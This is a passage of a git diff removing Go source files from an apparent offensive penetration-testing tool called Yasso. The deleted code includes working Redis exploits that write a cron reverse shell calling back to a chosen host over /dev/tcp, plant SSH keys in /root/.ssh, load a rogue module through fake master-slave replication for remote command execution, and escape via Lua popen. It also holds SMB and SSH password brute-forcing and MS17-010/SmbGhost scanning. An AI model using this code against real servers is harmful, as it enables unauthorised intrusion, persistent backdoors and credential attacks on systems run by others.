RedisReply(conn) - if err != nil { - return RedisConfig{} - } - text1 := strings.Split(text, "\r\n") - if len(text1) > 2 { - dbfilename = text1[len(text1)-2] - } else { - dbfilename = text1[0] - } - - var redisConfig = RedisConfig{ - DbFileName: dbfilename, - } - return redisConfig -} - -// 测试利用写入是否可用 - -func RedisWrite(conn net.Conn) (cron bool, ssh bool, err error) { - var reply string - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入 - if err != nil { - return false, false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, false, err - } - if strings.Contains(reply, "OK") { - ssh = true - } - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入 - if err != nil { - return false, ssh, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, ssh, err - } - if strings.Contains(reply, "OK") { - cron = true - } - return cron, ssh, nil -} - -// 计划任务写入 - -func RedisExploit(conn net.Conn, RemoteHost string, Filename string) { - // 测试写入 - cron, ssh, err := RedisWrite(conn) - // 上述返回3个值,返回c,s,e,c是corn的值,s是ssh写入,e是err - if err != nil { - Println(fmt.Sprintf("Redis Write Testing failed %v", err)) - return - } - var ( - status bool - ) - if RemoteHost != "" && cron == true { - status, err = RedisCron(conn, RemoteHost) - if status == true { - Println("[+] Write Rebound shell address Success") - return - } else { - Println("[x] Redis Write Rebound shell address failed") - return - } - } - if Filename != "" && ssh == true { - status, err = RedisKey(conn, Filename) - if status == true { - Println("[+] Write ssh key Success") - return - } else { - Println("[x] Redis ssh key failed") - return - } - } -} - -func RedisExec(conn net.Conn, cmd string) { - if cmd != "" { - _, err := conn.Write([]byte(fmt.Sprintf("%s\r\n", cmd))) - if err != nil { - Println(fmt.Sprintf("[!] %v", err)) - return - } - reply, err := RedisReply(conn) - if err != nil { - Println(fmt.Sprintf("[!] %v", err)) - return - } - Println(fmt.Sprintf("%v", string(reply))) - } -} - -func RedisCron(conn net.Conn, RemoteHost string) (bool, error) { - c, s, _ := RedisWrite(conn) - Println(fmt.Sprintf("[+] Redis cron %v ssh %v", c, s)) - // 先解析RemoteHost参数 - var ( - remote = strings.Split(RemoteHost, ":") - flag = false - reply string - host string - port string - ) - if len(remote) == 2 { - host, port = remote[0], remote[1] - } else { - return false, errors.New("remote host address is not like 192.160.1.1:4444") - } - _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) - if err != nil { - return false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "+OK") { // redis可写定时计划任务 - // 存在定时计划写入 - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) - if err != nil { - return false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, err - } - // 数据库设置成功 - if strings.Contains(reply, "+OK") { - // 写入定时计划任务 - _, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port))) - if err != nil { - return false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "+OK") { - _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) - if err != nil { - return false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "OK") { - Println("[+] save corn success") - flag = true - } - } - // 恢复原始的dbfilename - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n"))) - if err != nil { - return false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "OK") { - Println("[+] Restore the original dbfilename") - } - } - } - return flag, nil -} - -// 公钥写入 - -func RedisKey(conn net.Conn, filename string) (bool, error) { - var flag = false - _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) - if err != nil { - return false, err - } - reply, err := RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "OK") { - _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) - if err != nil { - return false, err - } - reply, err := RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "OK") { - key, err := ReadKeyFile(filename) - if err != nil { - return false, err - } - if len(key) == 0 { - return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename)) - } - _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) - if err != nil { - return false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "OK") { - // 保存 - _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) - if err != nil { - return false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "OK") { - flag = true - } - } - // 恢复原始的dbfilename - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n"))) - if err != nil { - return false, err - } - reply, err = RedisReply(conn) - if err != nil { - return false, err - } - if strings.Contains(reply, "OK") { - Println("[+] Restore the original dbfilename") - } - } - } - return flag, nil -} - -func ReadKeyFile(filename string) (string, error) { - file, err := os.Open(filename) - if err != nil { - return "", err - } - defer file.Close() - scanner := bufio.NewScanner(file) - for scanner.Scan() { - text := strings.TrimSpace(scanner.Text()) - if text != "" { - return text, nil - } - } - return "", err -} - -func RedisRCE(client *redis.Client, LHost string, LPort int, SoPath string) { - // 设置so文件存放路径 - var dest string - if SoPath == "" { - dest = "/tmp/net.so" - } else { - dest = SoPath - } - Rexec(fmt.Sprintf("slaveof %v %v", LHost, LPort), client) - fmt.Println(fmt.Sprintf("[+] slaveof %v %v", LHost, LPort)) - dbfilename, dir := getInformation(client) - filenameDir, filename := filepath.Split(dest) - Rexec(fmt.Sprintf("config set dir %v", filenameDir), client) - Rexec(fmt.Sprintf("config set dbfilename %v", filename), client) - // 做监听 - ListenLocal(fmt.Sprintf("%v:%v", LHost, LPort)) - // 重置数据库 - reStore(client, dir, dbfilename) - // 加载so文件 - s := Rexec(fmt.Sprintf("module load %v", dest), client) - if s == "need unload" { - fmt.Println("[+] try to unload") - Rexec(fmt.Sprintf("module unload system"), client) - fmt.Println("[+] to the load") - Rexec(fmt.Sprintf("module load %v", dest), client) - } - fmt.Println("[+] module load success") - // 循环执行命令 - reader := bufio.NewReader(os.Stdin) - for { - var cmd string - fmt.Printf("[redis-rce]» ") - cmd, _ = reader.ReadString('\n') - cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "") - if cmd == "exit" { - cmd = fmt.Sprintf("rm %v", dest) - run(fmt.Sprintf(cmd), client) - Rexec(fmt.Sprintf("module unload system"), client) - fmt.Println("[+] module unload system break redis-rce") - break - } - Receive(run(fmt.Sprintf(cmd), client)) - } - os.Exit(0) -} - -func RedisLua(client *redis.Client) { - reader := bufio.NewReader(os.Stdin) - for { - var cmd string - fmt.Printf("[redis-lua]» ") - cmd, _ = reader.ReadString('\n') - cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "") - if cmd == "exit" { - break - } - Receive(execLua(cmd, client)) - } - os.Exit(0) -} - -func Rexec(cmd string, client *redis.Client) string { - args := strings.Fields(cmd) - var argsInterface []interface{} - for _, arg := range args { - argsInterface = append(argsInterface, arg) - } - //Send(cmd) - val, err := client.Do(context.Background(), argsInterface...).Result() - return Check(val, err) -} - -func getInformation(client *redis.Client) (string, string) { - r := Rexec("config get dbfilename", client) - if !strings.HasPrefix(r, "dbfilename") { - return "", "" - } - dbfilename := r[11 : len(r)-1] - d := Rexec("config get dir", client) - if !strings.HasPrefix(d, "dir") { - return "", "" - } - dir := d[4 : len(d)-1] - return dbfilename, dir -} - -func Send(str string) { - str = strings.TrimSpace(str) - fmt.Println(fmt.Sprintf("[->] %v", str)) -} - -func Receive(str string) { - str = strings.TrimSpace(str) - fmt.Println(fmt.Sprintf("%v", str)) -} - -func Check(val interface{}, err error) string { - if err != nil { - if err == redis.Nil { - fmt.Println("[!] key is not exist") - return "" - } - fmt.Println(fmt.Sprintf("[!] %v", err.Error())) - if err.Error() == "ERR Error loading the extension. Please check the server logs." { - return "need unload" - } - os.Exit(0) - } - switch v := val.(type) { - case string: - return v - case []string: - return "list result:" + strings.Join(v, " ") - case []interface{}: - s := "" - for _, i := range v { - s += i.(string) + " " - } - return s - } - return "" -} - -func ListenLocal(address string) { - var wg = &sync.WaitGroup{} - wg.Add(1) - addr, err := net.ResolveTCPAddr("tcp", address) - if err != nil { - fmt.Println("[!] resolve tcp address failed") - os.Exit(0) - } - listen, err := net.ListenTCP("tcp", addr) - if err != nil { - fmt.Println("[!] listen tcp address failed") - os.Exit(0) - } - defer listen.Close() - fmt.Println(fmt.Sprintf("[*] start listen in %v", address)) - c, err := listen.AcceptTCP() - if err != nil { - fmt.Println("[!] accept tcp failed") - os.Exit(0) - } - go masterSlave(wg, c) - wg.Wait() - _ = c.Close() -} - -func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) { - defer wg.Done() - buf := make([]byte, 1024) - for { - time.Sleep(1 * time.Second) - n, err := c.Read(buf) - if err == io.EOF || n == 0 { - fmt.Println("[*] master-slave replication process is complete") - return - } - switch { - case strings.Contains(string(buf[:n]), "PING"): - c.Write([]byte("+PONG\r\n")) - //Send("+PONG") - case strings.Contains(string(buf[:n]), "REPLCONF"): - c.Write([]byte("+OK\r\n")) - //Send("+OK") - case strings.Contains(string(buf[:n]), "SYNC"): - resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符 - resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n" - rep := []byte(resp) - rep = append(rep, payload...) - rep = append(rep, []byte("\r\n")...) - c.Write(rep) - //Send(resp) - } - } -} - -func reStore(client *redis.Client, dir, dbfilename string) { - success := Rexec("slaveof no one", client) - if strings.Contains(success, "OK") { - fmt.Println("[+] restore file success") - } - Rexec(fmt.Sprintf("config set dir %v", dir), client) - Rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client) -} - -func run(cmd string, client *redis.Client) string { - ctx := context.Background() - val, err := client.Do(ctx, "system.exec", cmd).Result() - return Check(val, err) -} - -func execLua(cmd string, client *redis.Client) string { - ctx := context.Background() - val, err := client.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result() - return Check(val, err) -} - -func InitRedisClient(host string, port int, pass string) *redis.Client { - rdb := redis.NewClient(&redis.Options{ - Addr: fmt.Sprintf("%v:%v", host, port), - Password: pass, // no password set - DB: 0, // use default DB - }) - return rdb -} diff --git a/cmd/resolve.go b/cmd/resolve.go deleted file mode 100644 index 5915f1a..0000000 --- a/cmd/resolve.go +++ /dev/null @@ -1,167 +0,0 @@ -package cmd - -import ( - "errors" - "net" - "os" - "regexp" - "strconv" - "strings" -) - -func ResolveIPS(ip string) ([]string, error) { - if strings.Contains(ip, ".") && strings.Contains(ip, ".txt") { - // 此时传入的是文件txt - file, err := os.Open(ip) - if err != nil { - return []string{}, err - } - ips := Readiness(file) - return ips, err - } - reg := regexp.MustCompile(`[a-zA-Z]+`) - switch { - case strings.Contains(ip, "/"): - return resolveIP(ip) - case strings.Count(ip, "-") == 1: - return resolveIPC(ip) - case reg.MatchString(ip): - _, err := net.LookupHost(ip) - if err != nil { - return []string{}, err - } - return []string{ip}, nil - default: - var isip = net.ParseIP(ip) - if isip == nil { - return []string{}, errors.New("input format is not ccorrect") - } - return []string{ip}, nil - } -} - -// 解析192.168.1.1/*的格式 - -func resolveIP(ip string) ([]string, error) { - var ip4 = net.ParseIP(strings.Split(ip, "/")[0]) // [192.168.1.1 *] - if ip4 == nil { - return []string{}, errors.New("not an ipv4 address") - } - var footmark = strings.Split(ip, "/")[1] // * - var temp []string - var err error - switch footmark { - case "24": - var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".") - for i := 0; i <= 255; i++ { - temp = append(temp, ip3+"."+strconv.Itoa(i)) - } - err = nil - case "16": - var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".") - for i := 0; i <= 255; i++ { - for j := 0; j <= 255; j++ { - temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j)) - } - } - err = nil - default: - temp = []string{} - err = errors.New("not currently supported") - } - return temp, err -} - -// 解析192.168.1.1-*格式 - -func resolveIPC(ip string) ([]string, error) { - var ip4 = strings.Split(ip, "-") - var ipA = net.ParseIP(ip4[0]) - if ip4 == nil { - return []string{}, errors.New("not an ipv4 address") - } - var temp []string - if len(ip4[1]) < 4 { - iprange, err := strconv.Atoi(ip4[1]) - if ipA == nil || iprange > 255 || err != nil { - return []string{}, errors.New("input format is not ccorrect") - } - var splitip = strings.Split(ip4[0], ".") - ip1, err1 := strconv.Atoi(splitip[3]) - ip2, err2 := strconv.Atoi(ip4[1]) - prefixip := strings.Join(splitip[0:3], ".") - if ip1 > ip2 || err1 != nil || err2 != nil { - return []string{}, errors.New("input format is not ccorrect") - } - for i := ip1; i <= ip2; i++ { - temp = append(temp, prefixip+"."+strconv.Itoa(i)) - } - } else { - var splitip1 = strings.Split(ip4[0], ".") - var splitip2 = strings.Split(ip4[1], ".") - if len(splitip1) != 4 || len(splitip2) != 4 { - return []string{}, errors.New("input format is not ccorrect") - } - start, end := [4]int{}, [4]int{} - for i := 0; i < 4; i++ { - ip1, err1 := strconv.Atoi(splitip1[i]) - ip2, err2 := strconv.Atoi(splitip2[i]) - if ip1 > ip2 || err1 != nil || err2 != nil { - return []string{}, errors.New("input format is not ccorrect") - } - start[i], end[i] = ip1, ip2 - } - startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] - endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] - for num := startNum; num <= endNum; num++ { - ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) - temp = append(temp, ip) - } - } - return temp, nil -} - -func RemoveDuplicate(old []int) []int { - result := make([]int, 0, len(old)) - temp := map[int]struct{}{} - for _, item := range old { - if _, ok := temp[item]; !ok { - temp[item] = struct{}{} - result = append(result, item) - } - } - return result -} - -// 解析为445,69,72-15这种以逗号隔开的端口 - -func ResolvePORTS(ports string) ([]int, error) { - var scanPorts []int - slices := strings.Split(ports, ",") - for _, port := range slices { - port = strings.Trim(port, " ") - upper := port - if strings.Contains(port, "-") { - ranges := strings.Split(port, "-") - if len(ranges) < 2 { - continue - } - startPort, _ := strconv.Atoi(ranges[0]) - endPort, _ := strconv.Atoi(ranges[1]) - if startPort < endPort { - port = ranges[0] - upper = ranges[1] - } else { - port = ranges[1] - upper = ranges[0] - } - } - start, _ := strconv.Atoi(port) - end, _ := strconv.Atoi(upper) - for i := start; i <= end; i++ { - scanPorts = append(scanPorts, i) - } - } - scanPorts = RemoveDuplicate(scanPorts) - return scanPorts, nil -} diff --git a/cmd/root.go b/cmd/root.go deleted file mode 100644 index 82b391d..0000000 --- a/cmd/root.go +++ /dev/null @@ -1,43 +0,0 @@ -package cmd - -import ( - "fmt" - "github.com/spf13/cobra" - "os" - "time" -) - -var ( - TimeDuration time.Duration // 超时时间 - Hosts string // 全局host变量 - RunICMP bool // 是否执行ICMP - Ports string // 需要解析的端口 - Runtime int // 运行的线程 - JsonBool bool // 是否使用日志 - PingBool bool // 是否执行ping操作 - UserDic string // 爆破的用户名路径 - PassDic string // 爆破的密码路径 - BruteFlag bool // 是否进行爆破 - ConnHost string // 单独变量的链接地址 - BrutePort int // 爆破使用的端口 - LoginUser string // 登陆使用的用户 - LoginPass string // 登陆使用的密码 - LoginPublicKey string // 登陆使用的公钥路径 - ProxyHost string // 代理地址 user:pass@ip:port 格式 - SQLShellBool bool // 是否启动sql—shell - SQLCommand string // sql语句单条命令行 - WinRMbool bool // winrm shell - NoCrack bool // 判断all模块是否爆破服务 -) - -var rootCmd = &cobra.Command{ - Use: "Yasso", - Short: "\n __ __ ______ ______ ______ ______ \n/\\ \\_\\ \\ /\\ __ \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ \n\\ \\____ \\ \\ \\ __ \\ \\ \\___ \\ \\ \\___ \\ \\ \\ \\/\\ \\ \n \\/\\_____\\ \\ \\_\\ \\_\\ \\/\\_____\\ \\/\\_____\\ \\ \\_____\\ \n \\/_____/ \\/_/\\/_/ \\/_____/ \\/_____/ \\/_____/ \n \n", -} - -func Execute() { - if err := rootCmd.Execute(); err != nil { - Println(fmt.Sprintf("%v", err)) - os.Exit(1) - } -} diff --git a/cmd/smb.go b/cmd/smb.go deleted file mode 100644 index fc35b89..0000000 --- a/cmd/smb.go +++ /dev/null @@ -1,87 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "errors" - "fmt" - "github.com/spf13/cobra" - "github.com/stacktitan/smb/smb" - "time" -) - -/* -模块完成时间2021年12月28日,主要用于smb爆破,扫描445端口,似乎不能走socks5代理 -*/ - -var SmbCmd = &cobra.Command{ - Use: "smb", - Short: "Smb burst module (not support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" { - _ = cmd.Help() - } else { - BruteSmbByUser() - } - }, -} - -func BruteSmbByUser() { - if BrutePort == 0 { - BrutePort = 445 - } - var ips []string - var err error - if Hosts != "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("smb", UserDic, PassDic) - Println("[*] Brute Module [smb]") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("smb", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } -} - -func SmbConn(info config.HostIn, user, pass string) (bool, error) { - signal := make(chan struct{}) - var ( - flag bool - err error - ) - go func() { - flag, err = DialSmbTimeOut(info, user, pass, signal) - }() - select { - case <-signal: - return flag, err - case <-time.After(1 * time.Second): - return false, errors.New("smb conn time out") - } -} - -func DialSmbTimeOut(info config.HostIn, user, pass string, signal chan struct{}) (bool, error) { - var flag = false - options := smb.Options{ - Host: info.Host, - Port: 445, - User: user, - Password: pass, - Domain: info.Domain, - Workstation: "", - } - session, err := smb.NewSession(options, false) - if err == nil { - session.Close() - if session.IsAuthenticated { - flag = true - } - } - signal <- struct{}{} - return flag, err -} diff --git a/cmd/ssh.go b/cmd/ssh.go deleted file mode 100644 index f88b411..0000000 --- a/cmd/ssh.go +++ /dev/null @@ -1,194 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "fmt" - "github.com/spf13/cobra" - "golang.org/x/crypto/ssh" - "golang.org/x/crypto/ssh/terminal" - "io/ioutil" - "os" - "path" -) - -/* -模块完成时间2021年12月28日,主要用于ssh爆破,连接,扫描22端口 -*/ - -var SshCmd = &cobra.Command{ - Use: "ssh", - Short: "SSH burst and SSH extend tools (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" && ConnHost == "" { - _ = cmd.Help() - } else { - BruteSshByUser() - } - }, -} - -func init() { - SshCmd.Flags().StringVar(&ConnHost, "hostname", "", "Open an interactive SSH at that address(brute param need false)") - SshCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username") - SshCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password") - SshCmd.Flags().StringVar(&LoginPublicKey, "key", "", "ssh public key path") -} - -func BruteSshByUser() { - if BrutePort == 0 { - BrutePort = 22 - } - var ips []string - var err error - if Hosts != "" && ConnHost == "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("ssh", UserDic, PassDic) - //fmt.Println(users, pass) - Println("[*] Brute Module [ssh]") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("ssh", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } - if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true { - if LoginUser != "" && LoginPass != "" { - client, status, err := SshConnByUser(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass) - if err != nil { - Println(fmt.Sprintf("[-] Login ssh failed %v", err)) - return - } - if status == true { - //认证成功 - SshLogin(client) - } else { - Println("[-] The username or password is incorrect") - return - } - } - if LoginPublicKey != "" && LoginUser != "" { - client, status, err := sshConnByKey(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration, PublicKey: LoginPublicKey}, LoginUser) - if err != nil { - Println(fmt.Sprintf("[-] Login ssh failed %v", err)) - return - } - if status == true { - //认证成功 - SshLogin(client) - return - } else { - Println("[-] The username or password is incorrect") - return - } - } - } - if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == "") { - Println("[*] May be you want login ssh? try to add user and (user' key) or (user' pass)") - return - } -} - -func SshConnByUser(info config.HostIn, user, pass string) (*ssh.Client, bool, error) { - // 走socks5代理的ssh连接 - sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.TimeOut} - con, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut) - if err != nil { - return nil, false, err - } - c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Host, info.Port), sshConfig) - if err != nil { - return nil, false, err - } - return ssh.NewClient(c, ch, re), true, err -} - -func sshConnByKey(info config.HostIn, user string) (*ssh.Client, bool, error) { - var ( - err error - HomePath string - key []byte - ) - switch { - case info.PublicKey == "": - HomePath, err = os.UserHomeDir() - if err != nil { - return nil, false, err - } - key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa")) - if err != nil { - return nil, false, err - } - case info.PublicKey != "": - key, err = ioutil.ReadFile(info.PublicKey) - if err != nil { - return nil, false, err - } - } - signer, err := ssh.ParsePrivateKey(key) - if err != nil { - return nil, false, err - } - sshConfig := &ssh.ClientConfig{ - User: user, - Auth: []ssh.AuthMethod{ - ssh.PublicKeys(signer), - }, - Timeout: info.TimeOut, - HostKeyCallback: ssh.InsecureIgnoreHostKey(), - } - con, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut) - if err != nil { - return nil, false, err - } - - c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Host, info.Port), sshConfig) - if err != nil { - return nil, false, err - } - return ssh.NewClient(c, ch, re), true, err -} - -// ssh 完全交互式登陆 - -func SshLogin(client *ssh.Client) { - defer client.Close() - session, err := client.NewSession() - if err != nil { - Println(fmt.Sprintf("new ssh session failed %v", err)) - return - } - defer session.Close() - session.Stdout = os.Stdout - session.Stderr = os.Stderr - session.Stdin = os.Stdin - modes := ssh.TerminalModes{ - ssh.ECHO: 1, - ssh.TTY_OP_ISPEED: 14400, - ssh.TTY_OP_OSPEED: 14400, - ssh.VSTATUS: 1, - } - fd := int(os.Stdin.Fd()) - oldState, err := terminal.MakeRaw(fd) - if err != nil { - Println(fmt.Sprintf("terminal failed %v", err)) - } - defer terminal.Restore(fd, oldState) - w, h, err := terminal.GetSize(fd) - if err = session.RequestPty("xterm-256color", h, w, modes); err != nil { - Println(fmt.Sprintf("Session Request new xterm failed %v", err)) - return - } - if err = session.Shell(); err != nil { - Println(fmt.Sprintf("Session start shell failed %v", err)) - return - } - if err = session.Wait(); err != nil { - Println(fmt.Sprintf("Session wait failed %v", err)) - return - } -} diff --git a/cmd/static/WarSQLKit.dll b/cmd/static/WarSQLKit.dll deleted file mode 100644 index 3c17b7c..0000000 Binary files a/cmd/static/WarSQLKit.dll and /dev/null differ diff --git a/cmd/tools.go b/cmd/tools.go deleted file mode 100644 index 275ad56..0000000 --- a/cmd/tools.go +++ /dev/null @@ -1,147 +0,0 @@ -package cmd - -import ( - "bufio" - "bytes" - "database/sql" - "fmt" - "github.com/olekukonko/tablewriter" - "golang.org/x/net/proxy" - "log" - "net" - "os" - "strings" - "time" -) - -// socks5代理连接功能 - -func ConnBySOCKS5() (proxy.Dialer, error) { - // 解析连接过来的socks5字符串 - if strings.ContainsAny(ProxyHost, "@") && strings.Count(ProxyHost, "@") == 1 { - info := strings.Split(ProxyHost, "@") - userpass := strings.Split(info[0], ":") - auth := proxy.Auth{User: userpass[0], Password: userpass[1]} - dialer, err := proxy.SOCKS5("tcp", info[1], &auth, proxy.Direct) - return dialer, err - } else { - if strings.ContainsAny(ProxyHost, ":") && strings.Count(ProxyHost, ":") == 1 { - dialer, err := proxy.SOCKS5("tcp", ProxyHost, nil, proxy.Direct) - return dialer, err - } - } - return nil, fmt.Errorf("proxy error") -} - -// 返回一个连接 - -func GetConn(addr string, timeout time.Duration) (net.Conn, error) { - if ProxyHost != "" { - dialer, err := ConnBySOCKS5() - if err != nil { - return nil, err - } - conn, err := dialer.Dial("tcp", addr) - if err != nil { - return nil, err - } - return conn, nil - } else { - return net.DialTimeout("tcp", addr, time.Duration(timeout)) - } -} - -func SQLExecute(db *sql.DB, q string) (*Results, error) { - if q == "" { - return nil, nil - } - rows, err := db.Query(q) - //rows, err := db.Query(q) - if err != nil { - return nil, err - } - columns, err := rows.Columns() - if err != nil { - return nil, err - } - - var results [][]string - for rows.Next() { - rs := make([]sql.NullString, len(columns)) - rsp := make([]interface{}, len(columns)) - for i := range rs { - rsp[i] = &rs[i] - } - if err = rows.Scan(rsp...); err != nil { - break - } - - _rs := make([]string, len(columns)) - for i := range rs { - _rs[i] = rs[i].String - } - results = append(results, _rs) - } - if closeErr := rows.Close(); closeErr != nil { - return nil, closeErr - } - if err != nil { - return nil, err - } - if err := rows.Err(); err != nil { - return nil, err - } - return &Results{ - Columns: columns, - Rows: results, - }, nil -} - -type Results struct { - Columns []string - Rows [][]string -} - -func (r *Results) String() string { - buf := bytes.NewBufferString("") - table := tablewriter.NewWriter(buf) - table.SetHeader(r.Columns) - table.AppendBulk(r.Rows) - table.Render() - return buf.String() -} - -func SQLshell(db *sql.DB, sqltype string) { - reader := bufio.NewReader(os.Stdin) - Println(fmt.Sprintf("Welcome to Yasso sql client ")) - for { - fmt.Printf("Yasso-%s> ", sqltype) - sqlstr, err := reader.ReadString('\n') - if err != nil { - log.Panic("failed to ReadString ", err) - } - sqlstr = strings.Trim(sqlstr, "\r\n") - sqls := []byte(sqlstr) - if len(sqls) > 6 { - if string(sqls[:6]) == "select" || string(sqls[:4]) == "show" || string(sqls[:4]) == "desc" { - //result set sql - r, err := SQLExecute(db, sqlstr) - if err != nil { - Println(fmt.Sprintf("%v", err)) - } - Println(fmt.Sprintf("%v", r)) - } else { - //no result set sql - r, err := SQLExecute(db, sqlstr) - if err != nil { - Println(fmt.Sprintf("%v", err)) - } - Println(fmt.Sprintf("%v", r)) - } - } - if sqlstr == "exit" { - Println("exit sql shell") - break - } - } -} diff --git a/cmd/version.go b/cmd/version.go deleted file mode 100644 index 046d7a9..0000000 --- a/cmd/version.go +++ /dev/null @@ -1,17 +0,0 @@ -package cmd - -import ( - "github.com/spf13/cobra" -) - -var versionCmd = &cobra.Command{ - Use: "version", - Short: "Print Yasso's version in screen", - Run: func(cmd *cobra.Command, args []string) { - Println("Yasso Version is 0.1.2") - }, -} - -func init() { - rootCmd.AddCommand(versionCmd) -} diff --git a/cmd/vuln.go b/cmd/vuln.go deleted file mode 100644 index be8bd5d..0000000 --- a/cmd/vuln.go +++ /dev/null @@ -1,78 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "fmt" - "github.com/panjf2000/ants/v2" - "github.com/spf13/cobra" - "strings" - "sync" -) - -// smbghost eternalblue -var ( - ms17010bool bool - smbGohstbool bool - allbool bool -) -var VulCmd = &cobra.Command{ - Use: "vulscan", - Short: "Host Vulnerability Scanning (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - var ips []string - if Hosts == "" { - _ = cmd.Help() - return - } - if Hosts != "" { - ips, _ = ResolveIPS(Hosts) - } else { - Println("Yasso scanner need a hosts") - return - } - if smbGohstbool == true || ms17010bool == true || allbool == true { - Println(fmt.Sprintf("[Yasso] will scan %d host", len(ips))) - } - VulScan(ips, ms17010bool, allbool, smbGohstbool) - }, -} - -func init() { - VulCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path") - VulCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy") - VulCmd.Flags().BoolVar(&smbGohstbool, "gs", false, "scan smbghost") - VulCmd.Flags().BoolVar(&ms17010bool, "ms", false, "scan ms17010") - VulCmd.Flags().BoolVar(&allbool, "all", true, "scan all vuln contains ms17010,smbghost") - rootCmd.AddCommand(VulCmd) -} - -func VulScan(ips []string, ms17010bool bool, allbool bool, smbGohstbool bool) { - var wg sync.WaitGroup - - p, _ := ants.NewPoolWithFunc(len(ips), func(ip interface{}) { - if ms17010bool == true || allbool == true { - Ms17010Conn(config.HostIn{ - Host: ip.(string), - Port: 445, - TimeOut: TimeDuration, - }) - } - if smbGohstbool == true || allbool == true { - SmbGhostConn(config.HostIn{ - Host: ip.(string), - Port: 445, - TimeOut: 